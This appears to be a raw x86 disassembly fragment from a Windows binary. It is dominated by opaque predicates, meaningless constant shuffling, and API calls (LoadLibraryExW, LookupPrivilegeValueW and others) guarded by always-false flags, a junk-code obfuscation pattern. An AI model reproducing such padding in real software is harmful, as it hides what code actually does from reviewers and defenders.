cmp dword [ebp - 0xd18], eax
jge 0x4765ca
cmp dword [ebp - 0x278], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x27d4]
cmp dword [ebp - 0xbd8], eax
jl 0x4765f7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x27d4], 0
jne 0x4765f7
and dword [ebp - 0x1ea0], 0
jmp 0x476601
mov dword [ebp - 0x1ea0], 1
cmp dword [ebp - 0x1ea0], 0xffffffff
jae 0x476616
mov dword [ebp - 0xd20], 1
jmp 0x47661d
and dword [ebp - 0xd20], 0
push 0
lea ecx, [ebp - 0x2834]
call fcn.00433e3f
mov ecx, dword [ebp - 0xd20]
imul ecx, dword [eax]
add ecx, 7
cmp ecx, 0xf37d
je 0x47664a
mov dword [ebp - 0x1ea8], 1
jmp 0x476651
and dword [ebp - 0x1ea8], 0
cmp dword [ebp - 0x1ea8], 0xf1d
jle 0x476669
mov dword [ebp - 0xd28], 1
jmp 0x476670
and dword [ebp - 0xd28], 0
mov eax, dword [ebp - 0xd28]
mov dword [ebp - 0x118], eax
mov byte [ebp - 0x311], 0
movzx eax, byte [ebp - 0x311]
test eax, eax
je 0x47669a
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea ecx, [ebp - 0x2834]
call fcn.00433e23
jmp 0x4766d6
mov dword [ebp - 0x278], 0
jmp 0x4766c0
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 8
jge 0x4766d6
cmp dword [ebp - 0xf8], 0
je 0x4766d4
jmp 0x4766d6
jmp 0x4766b3
mov dword [ebp - 0x118], 0
jmp 0x4766ef
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xa
jge 0x476732
mov dword [ebp - 0xf8], 0
jmp 0x476711
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 2
jge 0x476730
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x5c8]
call fcn.00433e3f
and dword [eax], 0
jmp 0x476704
jmp 0x4766e2
lea ecx, [ebp - 0x5c8]
call fcn.00433e23
mov dword [ebp - 0x3004], 1
mov dword [ebp - 0x300c], 0xea7
mov byte [ebp - 0x313], 0
movzx eax, byte [ebp - 0x313]
test eax, eax
je 0x47676b
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov byte [ebp - 0x41d], 0
movzx eax, byte [ebp - 0x41d]
test eax, eax
je 0x47678d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov dword [ebp - 0x3014], 0xffffffff
mov dword [ebp - 0x301c], 0x20c4365d
mov dword [ebp - 0x14], 0xe871
mov dword [ebp - 0x50], 0xb441791e
mov dword [ebp - 0x1bac], 1
mov dword [ebp - 0xb38], 0x32111c1b
mov dword [ebp - 0x63c], 0xd72f
mov dword [ebp - 0x7ec], 0xdaf140b3
imul eax, dword [ebp - 0x14], 0
test eax, eax
jne 0x4767ee
cmp dword [ebp - 0x14], 0
jne 0x4767ee
and dword [ebp - 0x1eb0], 0
jmp 0x4767f8
mov dword [ebp - 0x1eb0], 1
cmp dword [ebp - 0x1eb0], 1
je 0x476816
mov eax, 0x9193c1de
test eax, eax
je 0x476816
mov dword [ebp - 0x23b0], 1
jmp 0x47681d
and dword [ebp - 0x23b0], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3024], eax
cmp dword [ebp - 0x14], 0
je 0x47683f
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x47683f
mov dword [ebp - 0x23b8], 1
jmp 0x476846
and dword [ebp - 0x23b8], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x302c], eax
cmp dword [ebp - 0x14], 0
jne 0x47686a
cmp dword [ebp - 0x14], 0
jne 0x47686a
cmp dword [ebp - 0x14], 0
jne 0x47686a
and dword [ebp - 0xd30], 0
jmp 0x476874
mov dword [ebp - 0xd30], 1
cmp dword [ebp - 0xd30], 9
jae 0x476889
mov dword [ebp - 0x1eb8], 1
jmp 0x476890
and dword [ebp - 0x1eb8], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1eb8]
imul ecx, edx
add eax, ecx
jne 0x4768b5
cmp dword [ebp - 0x14], 0
jne 0x4768b5
and dword [ebp - 0xd38], 0
jmp 0x4768bf
mov dword [ebp - 0xd38], 1
mov eax, dword [ebp - 0xd38]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x476942
mov dword [ebp - 0x14], 0xfffffffa
jmp 0x4768de
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff1
jg 0x47693d
mov dword [ebp - 0x50], 0x1a
jmp 0x4768f4
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x18
je 0x47693b
mov byte [ebp - 0x315], 0
movzx eax, byte [ebp - 0x315]
test eax, eax
je 0x476919
push 0x1d4a
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
mov byte [ebp - 0x3ff], 0
movzx eax, byte [ebp - 0x3ff]
test eax, eax
je 0x476939
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
jmp 0x4768ed
jmp 0x4768d7
jmp 0x476afb
mov dword [ebp - 0x9f0], 0x3295
mov dword [ebp - 0x4d8], 0x56e3f0e2
mov dword [ebp - 0xd48], 1
mov eax, dword [ebp - 0x9f0]
mov dword [ebp - 0x3034], eax
mov eax, dword [ebp - 0x9f0]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x303c], eax
cmp dword [ebp - 0x50], 1
jne 0x476993
mov dword [ebp - 0x1ec0], 1
jmp 0x47699a
and dword [ebp - 0x1ec0], 0
imul eax, dword [ebp - 0x1ec0], 0
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x14]
je 0x4769c1
mov eax, 0x8459
test eax, eax
je 0x4769c1
mov dword [ebp - 0x23c0], 1
jmp 0x4769c8
and dword [ebp - 0x23c0], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3044], eax
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x9f0]
cmp eax, dword [ebp - 0x4d8]
jle 0x4769ee
mov dword [ebp - 0xd40], 1
jmp 0x4769f5
and dword [ebp - 0xd40], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xd40], eax
jne 0x476a0c
mov dword [ebp - 0x1ec8], 1
jmp 0x476a13
and dword [ebp - 0x1ec8], 0
mov eax, dword [ebp - 0x1ec8]
mov dword [ebp - 0xd48], eax
cmp dword [ebp - 0xd48], 0
je 0x476a3a
cmp dword [ebp - 0x14], 0
je 0x476a3a
mov dword [ebp - 0x2448], 1
jmp 0x476a41
and dword [ebp - 0x2448], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x14], eax
jge 0x476a55
mov dword [ebp - 0x1ed0], 1
jmp 0x476a5c
and dword [ebp - 0x1ed0], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1ed0], eax
jne 0x476a73
mov dword [ebp - 0x1ed8], 1
jmp 0x476a7a
and dword [ebp - 0x1ed8], 0
mov eax, dword [ebp - 0x4d8]
cmp dword [ebp - 0x1ed8], eax
jle 0x476a94
mov dword [ebp - 0xd54], 1
jmp 0x476a9b
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xd54]
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4d8], eax
jle 0x476abe
mov dword [ebp - 0x16e4], 1
jmp 0x476ac5
and dword [ebp - 0x16e4], 0
imul eax, dword [ebp - 0x16e4], 0x2f10
test eax, eax
jne 0x476ae5
cmp dword [ebp - 0x1bac], 0
jne 0x476ae5
and dword [ebp - 0xd5c], 0
jmp 0x476aef
mov dword [ebp - 0xd5c], 1
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0xb38], eax
xor eax, eax
inc eax
je 0x476b91
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x304c], eax
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0xb38]
mov dword [ebp - 0x3054], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x305c], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x1bac], eax
je 0x476b48
mov dword [ebp - 0xd64], 1
jmp 0x476b4f
and dword [ebp - 0xd64], 0
cmp dword [ebp - 0xd64], 0
jge 0x476b6a
cmp dword [ebp - 0x50], 0
je 0x476b6a
mov dword [ebp - 0x16ec], 1
jmp 0x476b71
and dword [ebp - 0x16ec], 0
mov eax, dword [ebp - 0x16ec]
sub eax, dword [ebp - 0x7ec]
cmp eax, dword [ebp - 0x7ec]
jl 0x476b91
mov dword [ebp - 0xd6c], 1
jmp 0x476b98
and dword [ebp - 0xd6c], 0
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0xd6c], eax
jl 0x476bb2
mov dword [ebp - 0x1e88], 1
jmp 0x476bb9
and dword [ebp - 0x1e88], 0
cmp dword [ebp - 0x1e88], 1
je 0x476bd7
cmp dword [ebp - 0x63c], 0
je 0x476bd7
mov dword [ebp - 0xd74], 1
jmp 0x476bde
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0x7ec]
cmp dword [ebp - 0xd74], eax
jne 0x476bff
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x476bff
mov dword [ebp - 0x16f4], 1
jmp 0x476c06
and dword [ebp - 0x16f4], 0
mov eax, dword [ebp - 0x16f4]
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 0x3064], 9
push 1
lea ecx, [ebp - 0x9bc]
call fcn.00433d51
mov dword [ebp - 0x284], 0x18885c6f
mov dword [ebp - 0x9f8], 0x4f2a6ca0
mov dword [ebp - 0x644], 0
jmp 0x476c56
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 1
jge 0x476c78
push dword [ebp - 0x644]
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov dword [eax], 0x8f93
jmp 0x476c49
mov dword [ebp - 0x284], 0
jmp 0x476c91
mov eax, dword [ebp - 0x284]
dec eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
jl 0x476da2
push 2
lea ecx, [ebp - 0x2b70]
call fcn.00433d51
mov dword [ebp - 0x2450], 0xced45b0e
mov dword [ebp - 0x8c4], 0
jmp 0x476cce
mov eax, dword [ebp - 0x8c4]
inc eax
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 2
jge 0x476ced
push dword [ebp - 0x8c4]
lea ecx, [ebp - 0x2b70]
call fcn.00433e3f
and dword [eax], 0
jmp 0x476cc1
push 0
lea ecx, [ebp - 0x2b70]
call fcn.00433e3f
mov dword [eax], 1
xor eax, eax
inc eax
je 0x476d27
push dword [ebp - 0x284]
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
cmp dword [eax], 0
je 0x476d27
mov dword [ebp - 0xd7c], 1
jmp 0x476d2e
and dword [ebp - 0xd7c], 0
push dword [ebp - 0x284]
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov ecx, dword [ebp - 0xd7c]
cmp ecx, dword [eax]
jne 0x476d55
mov dword [ebp - 0x1bb4], 1
jmp 0x476d5c
and dword [ebp - 0x1bb4], 0
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1bb4]
cmp ecx, dword [eax]
jne 0x476d7f
mov dword [ebp - 0xd84], 1
jmp 0x476d86
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xd84]
mov dword [ebp - 0x2450], eax
lea ecx, [ebp - 0x2b70]
call fcn.00433e23
jmp 0x476c84
mov esi, dword [ebp - 0x9f8]
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
imul esi, dword [eax]
cmp esi, 3
jne 0x476dc9
mov dword [ebp - 0x16fc], 1
jmp 0x476dd0
and dword [ebp - 0x16fc], 0
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov ecx, dword [ebp - 0x16fc]
add ecx, dword [eax]
cmp ecx, 0xfffffffb
jg 0x476df6
mov dword [ebp - 0x2458], 1
jmp 0x476dfd
and dword [ebp - 0x2458], 0
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov eax, dword [eax]
add eax, 0x20c1d1ea
cmp eax, 0x69d1fe9
je 0x476e24
mov dword [ebp - 0xd8c], 1
jmp 0x476e2b
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0xd8c], eax
jg 0x476e45
mov dword [ebp - 0x1e58], 1
jmp 0x476e4c
and dword [ebp - 0x1e58], 0
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov esi, eax
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1e58]
imul ecx, dword [eax]
add ecx, 0xa
cmp dword [esi], ecx
jg 0x476e84
mov dword [ebp - 0xd94], 1
jmp 0x476e8b
and dword [ebp - 0xd94], 0
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov eax, dword [eax]
cmp eax, dword [ebp - 0xd94]
jge 0x476eae
mov dword [ebp - 0x1704], 1
jmp 0x476eb5
and dword [ebp - 0x1704], 0
mov eax, dword [ebp - 0x9f8]
cmp dword [ebp - 0x1704], eax
jge 0x476ecf
mov dword [ebp - 0xd9c], 1
jmp 0x476ed6
and dword [ebp - 0xd9c], 0
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00433e3f
mov ecx, dword [ebp - 0xd9c]
cmp ecx, dword [eax]
jl 0x476ef9
mov dword [ebp - 0x1bbc], 1
jmp 0x476f00
and dword [ebp - 0x1bbc], 0
mov eax, dword [ebp - 0x1bbc]
sub eax, dword [ebp - 0x9f8]
je 0x476f17
mov eax, 0xfff323e6
test eax, eax
jne 0x476f29
mov eax, 0x2ce6
test eax, eax
jne 0x476f29
and dword [ebp - 0xda4], 0
jmp 0x476f33
mov dword [ebp - 0xda4], 1
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0x284], eax
lea ecx, [ebp - 0x9bc]
call fcn.00433e23
mov dword [ebp - 0x306c], 8
mov dword [ebp - 0x3074], 0x5568
mov dword [ebp - 0x307c], 1
mov dword [ebp - 0x3084], 0x713a473e
push 3
lea ecx, [ebp - 0x33b4]
call fcn.00433d51
mov dword [ebp - 0x308c], 0xfffffffc
mov dword [ebp - 0x170c], 0xa565
mov dword [ebp - 0x3094], 0xfffffff7
mov dword [ebp - 0x64c], 0
jmp 0x476fb6
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 3
jge 0x476fd8
push dword [ebp - 0x64c]
lea ecx, [ebp - 0x33b4]
call fcn.00433e3f
mov dword [eax], 0x98311173
jmp 0x476fa9
mov eax, dword [ebp - 0x170c]
inc eax
mov dword [ebp - 0x170c], eax
mov byte [ebp - 0x317], 0
movzx eax, byte [ebp - 0x317]
test eax, eax
je 0x476fff
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [ebp - 0x33b4]
call fcn.00433e23
mov dword [ebp - 0x309c], 1
push 2
lea ecx, [ebp - 0x25f8]
call fcn.00433d51
mov dword [ebp - 0x30a4], 0xd8987f2f
mov dword [ebp - 0x164], 0
jmp 0x477044
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x477063
push dword [ebp - 0x164]
lea ecx, [ebp - 0x25f8]
call fcn.00433e3f
or dword [eax], 0xffffffff
jmp 0x477037
mov dword [ebp - 0x164], 0
jmp 0x47707c
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 3
jge 0x477098
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x3820], 0xfffffffb
jmp 0x47706f
push 1
lea ecx, [ebp - 0x25f8]
call fcn.00433e3f
and dword [eax], 0
jmp 0x4770ce
push 1
lea ecx, [ebp - 0x25f8]
call fcn.00433e3f
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0xdac]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xdac]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x25f8]
call fcn.00433e3f
cmp dword [eax], 0x1d
jge 0x4770f3
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3820], 0x2afe01bd
jmp 0x4770aa
lea ecx, [ebp - 0x25f8]
call fcn.00433e23
mov dword [ebp - 0x2130], 4
mov dword [ebp - 0x212c], 4
mov dword [ebp - 0x2128], 4
mov dword [ebp - 0x2124], 4
mov dword [ebp - 0x78], 0xde713a47
mov dword [ebp - 0x964], 0xd3e99730
mov dword [ebp - 0x78], 3
jmp 0x477147
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x4775de
mov dword [ebp - 0x328], 0x738ab659
mov dword [ebp - 0x4b0], 0xa2f
mov dword [ebp - 0x7f4], 0
jmp 0x47717e
mov eax, dword [ebp - 0x7f4]
inc eax
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 2
jge 0x47719a
mov eax, dword [ebp - 0x7f4]
mov dword [ebp + eax*4 - 0x2dc4], 0
jmp 0x477171
mov dword [ebp - 0x328], 0
jmp 0x4771b3
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 3
jg 0x4775d9
mov dword [ebp - 0x2a78], 0x30045702
mov dword [ebp - 0x2a74], 0x30045702
mov dword [ebp - 0x2a70], 0x30045702
mov dword [ebp - 0x2a6c], 0x30045702
lea ecx, [ebp - 0xc01]
call fcn.00433e4e
push eax
lea eax, [ebp - 0x2a68]
push eax
lea eax, [ebp - 0x2a78]
push eax
lea ecx, [ebp - 0x3964]
call fcn.00433e51
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x284c]
call fcn.00433dfd
mov dword [ebp - 0x42c], 0
xor eax, eax
jne 0x47740c
cmp dword [ebp - 0x964], 0
je 0x47724d
cmp dword [ebp - 0x328], 3
je 0x47724d
mov dword [ebp - 0x1fc8], 1
jmp 0x477254
and dword [ebp - 0x1fc8], 0
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0x2130]
cmp dword [ebp - 0x1fc8], eax
jle 0x477272
mov dword [ebp - 0xdb4], 1
jmp 0x477279
and dword [ebp - 0xdb4], 0
push 2
lea ecx, [ebp - 0x284c]
call fcn.00433e3f
mov ecx, dword [ebp - 0xdb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0x2130], 1
jbe 0x4772a7
mov dword [ebp - 0x1714], 1
jmp 0x4772ae
and dword [ebp - 0x1714], 0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x1714]
sub ecx, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0x2130], ecx
jge 0x4772cf
mov dword [ebp - 0xdbc], 1
jmp 0x4772d6
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0x2130]
cmp dword [ebp - 0xdbc], eax
jg 0x4772f4
mov dword [ebp - 0xc18], 1
jmp 0x4772fb
and dword [ebp - 0xc18], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc18]
mov dword [ebp + eax - 0x2dc4], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2130]
imul eax, dword [ebp - 0xc18]
cmp eax, 0xc3d076c5
jbe 0x477334
mov dword [ebp - 0x1bc4], 1
jmp 0x47733b
and dword [ebp - 0x1bc4], 0
cmp dword [ebp - 0x1bc4], 0x71cc545e
jge 0x477359
mov eax, 0x8b36cedd
test eax, eax
jne 0x477359
and dword [ebp - 0xdc4], 0
jmp 0x477363
mov dword [ebp - 0xdc4], 1
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0x964], eax
cmp dword [ebp - 0x964], 0
jne 0x477384
mov dword [ebp - 0x171c], 1
jmp 0x47738b
and dword [ebp - 0x171c], 0
mov eax, dword [ebp - 0x328]
cmp dword [ebp - 0x171c], eax
jne 0x4773a5
mov dword [ebp - 0xdcc], 1
jmp 0x4773ac
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xdcc], eax
je 0x4773c3
mov dword [ebp - 0x1e24], 1
jmp 0x4773ca
and dword [ebp - 0x1e24], 0
mov eax, dword [ebp - 0x4b0]
cmp dword [ebp - 0x1e24], eax
jg 0x4773e4
mov dword [ebp - 0xdd4], 1
jmp 0x4773eb
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0xdd4]
mov dword [ebp - 0x42c], eax
imul eax, dword [ebp - 0x42c], 0x3046
sub eax, 0x22a3f514
je 0x477539
mov dword [ebp - 0x2460], 0x84ebf8c3
push 1
lea ecx, [ebp - 0x2c78]
call fcn.00433d51
mov dword [ebp - 0x654], 0
jmp 0x47743c
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 1
jge 0x47745e
push dword [ebp - 0x654]
lea ecx, [ebp - 0x2c78]
call fcn.00433e3f
mov dword [eax], 0x179b2c39
jmp 0x47742f
mov esi, dword [ebp - 0x328]
push 1
lea ecx, [ebp - 0x284c]
call fcn.00433e3f
mov ecx, dword [ebp - 0x4b0]
add ecx, dword [eax]
cmp esi, ecx
jle 0x47748e
xor eax, eax
inc eax
je 0x47748e
mov dword [ebp - 0x1724], 1
jmp 0x477495
and dword [ebp - 0x1724], 0
cmp dword [ebp - 0x1724], 0xffffffff
ja 0x4774aa
mov dword [ebp - 0xddc], 1
jmp 0x4774b1
and dword [ebp - 0xddc], 0
mov eax, dword [ebp - 0x2460]
cmp dword [ebp - 0xddc], eax
jne 0x4774e6
mov eax, 0x19c8
test eax, eax
je 0x4774e6
push 0
lea ecx, [ebp - 0x2c78]
call fcn.00433e3f
cmp dword [eax], 0
je 0x4774e6
mov dword [ebp - 0x1bcc], 1
jmp 0x4774ed
and dword [ebp - 0x1bcc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2130]
cmp eax, dword [ebp - 0x1bcc]
jle 0x47750d
mov dword [ebp - 0xde4], 1
jmp 0x477514
and dword [ebp - 0xde4], 0
push 2
lea ecx, [ebp - 0x284c]
call fcn.00433e3f
mov ecx, dword [ebp - 0xde4]
mov dword [eax], ecx
lea ecx, [ebp - 0x2c78]
call fcn.00433e23
jmp 0x4775c9
mov dword [ebp - 0x4b0], 0
jmp 0x477552
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 3
jg 0x4775c9
mov dword [ebp - 0x42c], 0
jmp 0x477574
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 3
jg 0x4775a3
mov byte [ebp - 0x40f], 0
movzx eax, byte [ebp - 0x40f]
test eax, eax
je 0x4775a1
push 0x1c88
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
jmp 0x477567
mov byte [ebp - 0x319], 0
movzx eax, byte [ebp - 0x319]
test eax, eax
je 0x4775c4
push 0x82b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x477545
lea ecx, [ebp - 0x284c]
call fcn.00433e23
jmp 0x4771a6
jmp 0x477140
mov dword [ebp - 0x78], 0
jmp 0x4775ee
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jg 0x477620
mov byte [ebp - 0x401], 0
movzx eax, byte [ebp - 0x401]
test eax, eax
je 0x477614
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov dword [ebp - 0x964], 0x8b7552f0
jmp 0x4775e7
mov dword [ebp - 0x4ac], 0
jmp 0x477639
cmp dword [ebp - 0x4ac], 3
jg 0x47a3b3
mov dword [ebp - 0x24f8], 0xfffffffb
push 2
lea ecx, [ebp - 0x20b4]
call fcn.00433d51
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0xa00], 0x6596
mov dword [ebp - 0x228], 0
jmp 0x47768a
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 2
jge 0x4776ac
push dword [ebp - 0x228]
lea ecx, [ebp - 0x20b4]
call fcn.00433e3f
mov dword [eax], 0x4f01c089
jmp 0x47767d
mov dword [ebp - 0x228], 0
jmp 0x4776c5
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 1
jge 0x4776e1
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0xb40], 0x684593f6
jmp 0x4776b8
push 0
lea ecx, [ebp - 0x20b4]
call fcn.00433e3f
cmp dword [eax], 0
je 0x477999
push 3
lea ecx, [ebp - 0xcc8]
call fcn.00433d51
mov dword [ebp - 0x1f18], 0x8ef068cd
push 1
lea ecx, [ebp - 0x2a98]
call fcn.00433d51
mov dword [ebp - 0x16c], 0
jmp 0x477734
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x477756
push dword [ebp - 0x16c]
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
mov dword [eax], 0xa75c19c5
jmp 0x477727
mov dword [ebp - 0x16c], 0
jmp 0x47776f
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x477791
push dword [ebp - 0x16c]
lea ecx, [ebp - 0x2a98]
call fcn.00433e3f
mov dword [eax], 0x56a0b349
jmp 0x477762
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
and dword [eax], 0
jmp 0x4777c7
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
mov dword [ebp - 0x172c], eax
mov eax, dword [ebp - 0x172c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x172c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
cmp dword [eax], 1
jg 0x477981
mov dword [ebp - 0x2468], 0xffffffff
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
push dword [eax]
lea ecx, [ebp - 0x20b4]
call fcn.00433e3f
cmp dword [eax], 0x83d7
jge 0x477815
mov dword [ebp - 0x1734], 1
jmp 0x47781c
and dword [ebp - 0x1734], 0
push 2
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
imul eax, dword [eax], 0
test eax, eax
je 0x47785b
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
push dword [eax]
lea ecx, [ebp - 0x20b4]
call fcn.00433e3f
cmp dword [eax], 0
je 0x47785b
mov dword [ebp - 0xdec], 1
jmp 0x477862
and dword [ebp - 0xdec], 0
mov eax, dword [ebp - 0xa00]
sub eax, dword [ebp - 0xdec]
imul eax, eax, 0x3833
mov dword [ebp - 0x1f18], eax
mov eax, dword [ebp - 0x1f18]
mov dword [ebp - 0xdf4], eax
push 0
lea ecx, [ebp - 0x2a98]
call fcn.00433e3f
mov ecx, dword [ebp - 0xdf4]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x20b4]
call fcn.00433e3f
mov ecx, dword [ebp - 0xdf4]
sub ecx, dword [eax]
mov eax, dword [ebp - 0xa00]
inc eax
mov dword [ebp - 0xa00], eax
test ecx, ecx
jne 0x4778d1
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x4778d1
and dword [ebp - 0xdfc], 0
jmp 0x4778db
mov dword [ebp - 0xdfc], 1
mov esi, dword [ebp - 0x1734]
add esi, dword [ebp - 0xdfc]
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
push dword [eax]
lea ecx, [ebp - 0x20b4]
call fcn.00433e3f
cmp esi, dword [eax]
jl 0x477911
mov dword [ebp - 0x1bd4], 1
jmp 0x477918
and dword [ebp - 0x1bd4], 0
push 0
lea ecx, [ebp - 0xcc8]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1bd4]
cmp ecx, dword [eax]
je 0x477941
cmp dword [ebp - 0x2468], 0
jne 0x477941
and dword [ebp - 0xe04], 0
jmp 0x47794b
mov dword [ebp - 0xe04], 1
mov eax, dword [ebp - 0xe04]
mov dword [ebp - 0x65c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x65c]
mov dword [ebp + eax - 0xb40], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb40], 0
je 0x47797c
jmp 0x477981
jmp 0x4777a3
lea ecx, [ebp - 0x2a98]
call fcn.00433e23
lea ecx, [ebp - 0xcc8]
call fcn.00433e23
jmp 0x4779b2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb40]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x65c], eax
